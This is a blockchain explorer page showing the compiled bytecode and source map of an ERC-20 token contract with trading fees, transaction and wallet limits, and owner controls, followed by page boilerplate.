6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610860573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088491906115cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f591906115cb565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d719473061093d816001600160a01b031660009081526001602052604090205490565b6000806109526000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109df91906115e8565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5c9190611616565b506004546001600160a01b03166014556015805462ff00ff191662010001179055565b6004546001600160a01b0316336001600160a01b031614610a9f57600080fd5b478015610aaf57610aaf8161126e565b50565b6001600160a01b038316610b145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a9565b6001600160a01b038216610b755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610586565b6001600160a01b038316610c325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a9565b6001600160a01b038216610c945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a9565b60008111610cf65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104a9565b600080546001600160a01b03858116911614801590610d2357506000546001600160a01b03848116911614155b15610f7d57610d546064610d4e600954600c5411610d4357600554610d47565b6007545b85906112a8565b90611331565b6013549091506001600160a01b038581169116148015610d8257506012546001600160a01b03848116911614155b8015610da757506001600160a01b03831660009081526003602052604090205460ff16155b15610e8f57600e54821115610dfe5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104a9565b600f5482610e21856001600160a01b031660009081526001602052604090205490565b610e2b919061164e565b1115610e795760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104a9565b600c8054906000610e8983611661565b91905055505b6013546001600160a01b038481169116148015610eb557506001600160a01b0384163014155b15610ee257610edf6064610d4e600a54600c5411610ed557600654610d47565b60085485906112a8565b90505b30600090815260016020526040902054601554610100900460ff16158015610f1757506013546001600160a01b038581169116145b8015610f2b575060155462010000900460ff165b8015610f38575060105481115b8015610f475750600b54600c54115b15610f7b57610f69610f6484610f5f84601154611373565b611373565b6110fa565b478015610f7957610f794761126e565b505b505b8015610ff75730600090815260016020526040902054610f9d9082611388565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fee9085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461101a90836113e7565b6001600160a01b03851660009081526001602052604090205561105f61104083836113e7565b6001600160a01b03851660009081526001602052604090205490611388565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a985856113e7565b60405190815260200160405180910390a350505050565b600081848411156110e45760405162461bcd60e51b81526004016104a99190611457565b5060006110f1848661167a565b95945050505050565b6015805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113e5761113e61168d565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611197573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bb91906115cb565b816001815181106111ce576111ce61168d565b6001600160a01b0392831660209182029290920101526012546111f49130911684610ab2565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122d9085906000908690309042906004016116a3565b600060405180830381600087803b15801561124757600080fd5b505af115801561125b573d6000803e3d6000fd5b50506015805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105e2573d6000803e3d6000fd5b6000826000036112ba575060006103e6565b60006112c68385611714565b9050826112d3858361172b565b1461132a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a9565b9392505050565b600061132a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611429565b6000818311611382578261132a565b50919050565b600080611395838561164e565b90508381101561132a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a9565b600061132a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110c0565b6000818361144a5760405162461bcd60e51b81526004016104a99190611457565b5060006110f1848661172b565b600060208083528351808285015260005b8181101561148457858101830151858201604001528201611468565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610aaf57600080fd5b600080604083850312156114cd57600080fd5b82356114d8816114a5565b946020939093013593505050565b6000806000606084860312156114fb57600080fd5b8335611506816114a5565b92506020840135611516816114a5565b929592945050506040919091013590565b60006020828403121561153957600080fd5b5035919050565b60006020828403121561155257600080fd5b813561132a816114a5565b6000806040838503121561157057600080fd5b823561157b816114a5565b9150602083013561158b816114a5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115dd57600080fd5b815161132a816114a5565b6000806000606084860312156115fd57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561162857600080fd5b8151801515811461132a57600080fd5b634e487b7160e01b600052601160045260246000fd5b808201808211156103e6576103e6611638565b60006001820161167357611673611638565b5060010190565b818103818111156103e6576103e6611638565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116f35784516001600160a01b0316835293830193918301916001016116ce565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103e6576103e6611638565b60008261174857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122053c0aca8bb6f13de29581551020921041005d813bac95a732d6f9e2ec5004aaf64736f6c63430008120033

Deployed Bytecode Sourcemap

4299:8201:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6100:83;;;;;;;;;;-1:-1:-1;6170:5:0;;;;;;;;;;;;-1:-1:-1;;;6170:5:0;;;;6100:83;;;;;;;:::i;:::-;;;;;;;;7062:161;;;;;;;;;;-1:-1:-1;7062:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7062:161:0;1023:187:1;5347:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5347:45:0;1215:177:1;6377:95:0;;;;;;;;;;-1:-1:-1;6457:7:0;;6377:95;;7231:313;;;;;;;;;;-1:-1:-1;7231:313:0;;;;;:::i;:::-;;:::i;6286:83::-;;;;;;;;;;-1:-1:-1;6286:83:0;;4970:1;2000:36:1;;1988:2;1973:18;6286:83:0;1858:184:1;10607:499:0;;;;;;;;;;-1:-1:-1;10607:499:0;;;;;:::i;:::-;;:::i;:::-;;12149:348;;;;;;;;;;;;;:::i;6480:119::-;;;;;;;;;;-1:-1:-1;6480:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6573:18:0;6546:7;6573:18;;;:9;:18;;;;;;;6480:119;3382:148;;;;;;;;;;;;;:::i;11114:159::-;;;;;;;;;;;;;:::i;5146:48::-;;;;;;;;;;;;;;;;3168:79;;;;;;;;;;-1:-1:-1;3206:7:0;3233:6;3168:79;;-1:-1:-1;;;;;3233:6:0;;;2630:51:1;;2618:2;2603:18;3168:79:0;2484:203:1;5217:49:0;;;;;;;;;;;;;;;;6191:87;;;;;;;;;;-1:-1:-1;6263:7:0;;;;;;;;;;;;-1:-1:-1;;;6263:7:0;;;;6191:87;;6607:167;;;;;;;;;;-1:-1:-1;6607:167:0;;;;;:::i;:::-;;:::i;5288:52::-;;;;;;;;;;;;;;;;11381:723;;;;;;;;;;;;;:::i;6782:143::-;;;;;;;;;;-1:-1:-1;6782:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6890:18:0;;;6863:7;6890:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6782:143;9783:215;;;;;;;;;;;;;:::i;7062:161::-;7137:4;7154:39;1003:10;7177:7;7186:6;7154:8;:39::i;:::-;-1:-1:-1;7211:4:0;7062:161;;;;;:::o;7231:313::-;7329:4;7346:36;7356:6;7364:9;7375:6;7346:9;:36::i;:::-;7393:121;7402:6;1003:10;7424:89;7462:6;7424:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7424:19:0;;;;;;:11;:19;;;;;;;;1003:10;7424:33;;;;;;;;;;:37;:89::i;:::-;7393:8;:121::i;:::-;-1:-1:-1;7532:4:0;7231:313;;;;;:::o;10607:499::-;10673:10;;10694:67;;;;-1:-1:-1;;;10694:67:0;;3287:2:1;10694:67:0;;;3269:21:1;3326:2;3306:18;;;3299:30;3365:34;3345:18;;;3338:62;-1:-1:-1;;;3416:18:1;;;3409:31;3457:19;;10694:67:0;;;;;;;;;-1:-1:-1;;;;;10800:18:0;;10775:22;10800:18;;;:9;:18;;;;;;10837:24;;;;;:43;;-1:-1:-1;7004:10:0;;7034;7004:42;10865:15;10829:90;;;;-1:-1:-1;;;10829:90:0;;3689:2:1;10829:90:0;;;3671:21:1;3728:2;3708:18;;;3701:30;3767:34;3747:18;;;3740:62;-1:-1:-1;;;3818:18:1;;;3811:32;3860:19;;10829:90:0;3487:398:1;10829:90:0;-1:-1:-1;;;;;10955:18:0;;;;;;:9;:18;;;;;;;;10976:23;;;10955:44;;11014:7;:17;;;;;;;11061:37;1361:25:1;;;10955:18:0;;;11061:37;;1334:18:1;11061:37:0;;;;;;;;10644:462;;10607:499;:::o;12149:348::-;12213:10;;-1:-1:-1;;;;;12213:10:0;1003;-1:-1:-1;;;;;12199:24:0;;12191:33;;;;;;12274:4;12235:20;6573:18;;;:9;:18;;;;;;12294:14;;12291:73;;12322:30;12339:12;12322:16;:30::i;:::-;12393:21;12428:12;;12425:65;;12454:24;12467:10;12454:12;:24::i;:::-;12180:317;;12149:348::o;3382:148::-;3295:6;;-1:-1:-1;;;;;3295:6:0;1003:10;3295:22;3287:67;;;;-1:-1:-1;;;3287:67:0;;;;;;;:::i;:::-;3489:1:::1;3473:6:::0;;3452:40:::1;::::0;-1:-1:-1;;;;;3473:6:0;;::::1;::::0;3452:40:::1;::::0;3489:1;;3452:40:::1;3520:1;3503:19:::0;;-1:-1:-1;;;;;;3503:19:0::1;::::0;;3382:148::o;11114:159::-;3295:6;;-1:-1:-1;;;;;3295:6:0;1003:10;3295:22;3287:67;;;;-1:-1:-1;;;3287:67:0;;;;;;;:::i;:::-;11182:7:::1;::::0;11167:12:::1;:22:::0;;;11200:14:::1;:22:::0;;;11238:27:::1;::::0;1361:25:1;;;11238:27:0::1;::::0;1349:2:1;1334:18;11238:27:0::1;;;;;;;11114:159::o:0;6607:167::-;6685:4;6702:42;1003:10;6726:9;6737:6;6702:9;:42::i;11381:723::-;3295:6;;-1:-1:-1;;;;;3295:6:0;1003:10;3295:22;3287:67;;;;-1:-1:-1;;;3287:67:0;;;;;;;:::i;:::-;11445:11:::1;::::0;::::1;;11444:12;11436:47;;;::::0;-1:-1:-1;;;11436:47:0;;4453:2:1;11436:47:0::1;::::0;::::1;4435:21:1::0;4492:2;4472:18;;;4465:30;4531:25;4511:18;;;4504:53;4574:18;;11436:47:0::1;4251:347:1::0;11436:47:0::1;11494:15;:80:::0;;-1:-1:-1;;;;;;11494:80:0::1;11531:42;11494:80:::0;;::::1;::::0;;;11635:7:::1;::::0;11585:58:::1;::::0;11602:4:::1;::::0;11585:8:::1;:58::i;:::-;11688:15;;;;;;;;;-1:-1:-1::0;;;;;11688:15:0::1;-1:-1:-1::0;;;;;11688:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11670:55:0::1;;11734:4;11741:15;;;;;;;;;-1:-1:-1::0;;;;;11741:15:0::1;-1:-1:-1::0;;;;;11741:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11670:94;::::0;-1:-1:-1;;;;;;11670:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5089:15:1;;;11670:94:0::1;::::0;::::1;5071:34:1::0;5141:15;;5121:18;;;5114:43;5006:18;;11670:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11654:13;:110:::0;;-1:-1:-1;;;;;11654:110:0;;::::1;-1:-1:-1::0;;;;;;11654:110:0;;::::1;;::::0;;11775:15:::1;::::0;::::1;:31;11814:21;11845:4;11851:24;11845:4:::0;-1:-1:-1;;;;;6573:18:0;6546:7;6573:18;;;:9;:18;;;;;;;6480:119;11851:24:::1;11876:1;11878::::0;11880:7:::1;3206::::0;3233:6;-1:-1:-1;;;;;3233:6:0;;3168:79;11880:7:::1;11775:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11775:129:0;;;-1:-1:-1;;;;;5527:15:1;;;11775:129:0::1;::::0;::::1;5509:34:1::0;5559:18;;;5552:34;;;;5602:18;;;5595:34;;;;5645:18;;;5638:34;5709:15;;;5688:19;;;5681:44;11888:15:0::1;5741:19:1::0;;;5734:35;5443:19;;11775:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11922:13:0::1;::::0;11953:15:::1;::::0;11915:71:::1;::::0;-1:-1:-1;;;11915:71:0;;-1:-1:-1;;;;;11953:15:0;;::::1;11915:71;::::0;::::1;6265:51:1::0;-1:-1:-1;;6332:18:1;;;6325:34;11922:13:0;::::1;::::0;-1:-1:-1;11915:29:0::1;::::0;6238:18:1;;11915:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12026:10:0::1;::::0;-1:-1:-1;;;;;12026:10:0::1;11997;:41:::0;12049:11:::1;:18:::0;;-1:-1:-1;;12078:18:0;;;;;11381:723::o;9783:215::-;9853:10;;-1:-1:-1;;;;;9853:10:0;1003;-1:-1:-1;;;;;9839:24:0;;9831:33;;;;;;9894:21;9929:12;;9926:65;;9955:24;9968:10;9955:12;:24::i;:::-;9820:178;9783:215::o;7552:335::-;-1:-1:-1;;;;;7645:19:0;;7637:68;;;;-1:-1:-1;;;7637:68:0;;6854:2:1;7637:68:0;;;6836:21:1;6893:2;6873:18;;;6866:30;6932:34;6912:18;;;6905:62;-1:-1:-1;;;6983:18:1;;;6976:34;7027:19;;7637:68:0;6652:400:1;7637:68:0;-1:-1:-1;;;;;7724:21:0;;7716:68;;;;-1:-1:-1;;;7716:68:0;;7259:2:1;7716:68:0;;;7241:21:1;7298:2;7278:18;;;7271:30;7337:34;7317:18;;;7310:62;-1:-1:-1;;;7388:18:1;;;7381:32;7430:19;;7716:68:0;7057:398:1;7716:68:0;-1:-1:-1;;;;;7795:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7847:32;;1361:25:1;;;7847:32:0;;1334:18:1;7847:32:0;1215:177:1;7895:1874:0;-1:-1:-1;;;;;7983:18:0;;7975:68;;;;-1:-1:-1;;;7975:68:0;;7662:2:1;7975:68:0;;;7644:21:1;7701:2;7681:18;;;7674:30;7740:34;7720:18;;;7713:62;-1:-1:-1;;;7791:18:1;;;7784:35;7836:19;;7975:68:0;7460:401:1;7975:68:0;-1:-1:-1;;;;;8062:16:0;;8054:64;;;;-1:-1:-1;;;8054:64:0;;8068:2:1;8054:64:0;;;8050:21:1;8107:2;8087:18;;;8080:30;8146:34;8126:18;;;8119:62;-1:-1:-1;;;8197:18:1;;;8190:33;8240:19;;8054:64:0;7866:399:1;8054:64:0;8146:1;8137:6;:10;8129:64;;;;-1:-1:-1;;;8129:64:0;;8472:2:1;8129:64:0;;;8454:21:1;8511:2;8491:18;;;8484:30;8550:34;8530:18;;;8523:62;-1:-1:-1;;;8601:18:1;;;8594:39;8650:19;;8129:64:0;8270:405:1;8129:64:0;8204:17;3233:6;;-1:-1:-1;;;;;8238:15:0;;;3233:6;;8238:15;;;;:32;;-1:-1:-1;3206:7:0;3233:6;-1:-1:-1;;;;;8257:13:0;;;3233:6;;8257:13;;8238:32;8234:1179;;;8299:76;8371:3;8299:67;8321:15;;8311:9;;:25;8310:55;;8351:14;;8310:55;;;8338:12;;8310:55;8299:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8406:13;;8287:88;;-1:-1:-1;;;;;;8398:21:0;;;8406:13;;8398:21;:55;;;;-1:-1:-1;8437:15:0;;-1:-1:-1;;;;;8423:30:0;;;8437:15;;8423:30;;8398:55;:83;;;;-1:-1:-1;;;;;;8459:22:0;;;;;;:18;:22;;;;;;;;8457:24;8398:83;8394:313;;;8521:12;;8511:6;:22;;8503:60;;;;-1:-1:-1;;;8503:60:0;;8882:2:1;8503:60:0;;;8864:21:1;8921:2;8901:18;;;8894:30;8960:27;8940:18;;;8933:55;9005:18;;8503:60:0;8680:349:1;8503:60:0;8616:14;;8606:6;8590:13;8600:2;-1:-1:-1;;;;;6573:18:0;6546:7;6573:18;;;:9;:18;;;;;;;6480:119;8590:13;:22;;;;:::i;:::-;:40;;8582:79;;;;-1:-1:-1;;;8582:79:0;;9498:2:1;8582:79:0;;;9480:21:1;9537:2;9517:18;;;9510:30;9576:28;9556:18;;;9549:56;9622:18;;8582:79:0;9296:350:1;8582:79:0;8680:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8394:313;8732:13;;-1:-1:-1;;;;;8726:19:0;;;8732:13;;8726:19;:43;;;;-1:-1:-1;;;;;;8749:20:0;;8764:4;8749:20;;8726:43;8723:174;;;8802:79;8877:3;8802:70;8824:16;;8814:9;;:26;8813:58;;8856:15;;8813:58;;;8842:13;;8802:6;;:10;:70::i;:79::-;8790:91;;8723:174;8962:4;8913:28;6573:18;;;:9;:18;;;;;;8988:6;;;;;;;8987:7;:30;;;;-1:-1:-1;9004:13:0;;-1:-1:-1;;;;;8998:19:0;;;9004:13;;8998:19;8987:30;:45;;;;-1:-1:-1;9021:11:0;;;;;;;8987:45;:87;;;;;9057:17;;9036:20;:38;8987:87;:119;;;;;9088:18;;9078:9;;:28;8987:119;8983:419;;;9127:67;9144:49;9148:6;9155:37;9159:20;9180:11;;9155:3;:37::i;:::-;9144:3;:49::i;:::-;9127:16;:67::i;:::-;9242:21;9285:22;;9282:105;;9332:35;9345:21;9332:12;:35::i;:::-;9108:294;8983:419;8272:1141;8234:1179;9428:11;;9425:161;;9496:4;9478:24;;;;:9;:24;;;;;;:39;;9507:9;9478:28;:39::i;:::-;9471:4;9453:24;;;;:9;:24;;;;;;;:64;;;;9535:39;;-1:-1:-1;;;;;9535:39:0;;;;;;;9564:9;1361:25:1;;1349:2;1334:18;;1215:177;9535:39:0;;;;;;;;9425:161;-1:-1:-1;;;;;9612:15:0;;;;;;:9;:15;;;;;;:27;;9632:6;9612:19;:27::i;:::-;-1:-1:-1;;;;;9596:15:0;;;;;;:9;:15;;;;;:43;9664:40;9682:21;:6;9693:9;9682:10;:21::i;:::-;-1:-1:-1;;;;;9664:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9650:13:0;;;;;;;:9;:13;;;;;:54;;;;9720:41;;;9739:21;:6;9750:9;9739:10;:21::i;:::-;9720:41;;1361:25:1;;;1349:2;1334:18;9720:41:0;;;;;;;7964:1805;7895:1874;;;:::o;2060:190::-;2146:7;2182:12;2174:6;;;;2166:29;;;;-1:-1:-1;;;2166:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2206:9:0;2218:5;2222:1;2218;:5;:::i;:::-;2206:17;2060:190;-1:-1:-1;;;;;2060:190:0:o;10112:483::-;5709:6;:13;;-1:-1:-1;;5709:13:0;;;;;10214:16:::1;::::0;;10228:1:::1;10214:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10214:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10214:16:0::1;10190:40;;10259:4;10241;10246:1;10241:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10241:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10285:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10285:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10241:7;;10285:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10275:4;10280:1;10275:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10275:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10350:15:::1;::::0;10318:62:::1;::::0;10335:4:::1;::::0;10350:15:::1;10368:11:::0;10318:8:::1;:62::i;:::-;10391:15;::::0;:196:::1;::::0;-1:-1:-1;;;10391:196:0;;-1:-1:-1;;;;;10391:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10472:11;;10391:15:::1;::::0;10514:4;;10541::::1;::::0;10561:15:::1;::::0;10391:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5745:6:0;:14;;-1:-1:-1;;5745:14:0;;;-1:-1:-1;;;;10112:483:0:o;11281:92::-;11338:10;;:27;;-1:-1:-1;;;;;11338:10:0;;;;:27;;;;;11358:6;;11338:10;:27;:10;:27;11358:6;11338:10;:27;;;;;;;;;;;;;;;;;;;2258:246;2316:7;2340:1;2345;2340:6;2336:47;;-1:-1:-1;2370:1:0;2363:8;;2336:47;2393:9;2405:5;2409:1;2405;:5;:::i;:::-;2393:17;-1:-1:-1;2438:1:0;2429:5;2433:1;2393:17;2429:5;:::i;:::-;:10;2421:56;;;;-1:-1:-1;;;2421:56:0;;11770:2:1;2421:56:0;;;11752:21:1;11809:2;11789:18;;;11782:30;11848:34;11828:18;;;11821:62;-1:-1:-1;;;11899:18:1;;;11892:31;11940:19;;2421:56:0;11568:397:1;2421:56:0;2495:1;2258:246;-1:-1:-1;;;2258:246:0:o;2512:132::-;2570:7;2597:39;2601:1;2604;2597:39;;;;;;;;;;;;;;;;;:3;:39::i;10006:98::-;10063:7;10090:1;10088;:3;10087:9;;10095:1;10087:9;;;-1:-1:-1;10093:1:0;10006:98;-1:-1:-1;10006:98:0:o;1729:179::-;1787:7;;1819:5;1823:1;1819;:5;:::i;:::-;1807:17;;1848:1;1843;:6;;1835:46;;;;-1:-1:-1;;;1835:46:0;;12172:2:1;1835:46:0;;;12154:21:1;12211:2;12191:18;;;12184:30;12250:29;12230:18;;;12223:57;12297:18;;1835:46:0;11970:351:1;1916:136:0;1974:7;2001:43;2005:1;2008;2001:43;;;;;;;;;;;;;;;;;:3;:43::i;2652:189::-;2738:7;2773:12;2766:5;2758:28;;;;-1:-1:-1;;;2758:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2797:9:0;2809:5;2813:1;2809;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:180::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;-1:-1:-1;2198:23:1;;2047:180;-1:-1:-1;2047:180:1:o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3890:356::-;4092:2;4074:21;;;4111:18;;;4104:30;4170:34;4165:2;4150:18;;4143:62;4237:2;4222:18;;3890:356::o;4603:251::-;4673:6;4726:2;4714:9;4705:7;4701:23;4697:32;4694:52;;;4742:1;4739;4732:12;4694:52;4774:9;4768:16;4793:31;4818:5;4793:31;:::i;5780:306::-;5868:6;5876;5884;5937:2;5925:9;5916:7;5912:23;5908:32;5905:52;;;5953:1;5950;5943:12;5905:52;5982:9;5976:16;5966:26;;6032:2;6021:9;6017:18;6011:25;6001:35;;6076:2;6065:9;6061:18;6055:25;6045:35;;5780:306;;;;;:::o;6370:277::-;6437:6;6490:2;6478:9;6469:7;6465:23;6461:32;6458:52;;;6506:1;6503;6496:12;6458:52;6538:9;6532:16;6591:5;6584:13;6577:21;6570:5;6567:32;6557:60;;6613:1;6610;6603:12;9034:127;9095:10;9090:3;9086:20;9083:1;9076:31;9126:4;9123:1;9116:15;9150:4;9147:1;9140:15;9166:125;9231:9;;;9252:10;;;9249:36;;;9265:18;;:::i;9651:135::-;9690:3;9711:17;;;9708:43;;9731:18;;:::i;:::-;-1:-1:-1;9778:1:1;9767:13;;9651:135::o;9791:128::-;9858:9;;;9879:11;;;9876:37;;;9893:18;;:::i;10056:127::-;10117:10;10112:3;10108:20;10105:1;10098:31;10148:4;10145:1;10138:15;10172:4;10169:1;10162:15;10188:980;10450:4;10498:3;10487:9;10483:19;10529:6;10518:9;10511:25;10555:2;10593:6;10588:2;10577:9;10573:18;10566:34;10636:3;10631:2;10620:9;10616:18;10609:31;10660:6;10695;10689:13;10726:6;10718;10711:22;10764:3;10753:9;10749:19;10742:26;;10803:2;10795:6;10791:15;10777:29;;10824:1;10834:195;10848:6;10845:1;10842:13;10834:195;;;10913:13;;-1:-1:-1;;;;;10909:39:1;10897:52;;11004:15;;;;10969:12;;;;10945:1;10863:9;10834:195;;;-1:-1:-1;;;;;;;11085:32:1;;;;11080:2;11065:18;;11058:60;-1:-1:-1;;;11149:3:1;11134:19;11127:35;11046:3;10188:980;-1:-1:-1;;;10188:980:1:o;11173:168::-;11246:9;;;11277;;11294:15;;;11288:22;;11274:37;11264:71;;11315:18;;:::i;11346:217::-;11386:1;11412;11402:132;;11456:10;11451:3;11447:20;11444:1;11437:31;11491:4;11488:1;11481:15;11519:4;11516:1;11509:15;11402:132;-1:-1:-1;11548:9:1;;11346:217::o

Swarm Source

ipfs://53c0aca8bb6f13de29581551020921041005d813bac95a732d6f9e2ec5004aaf
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.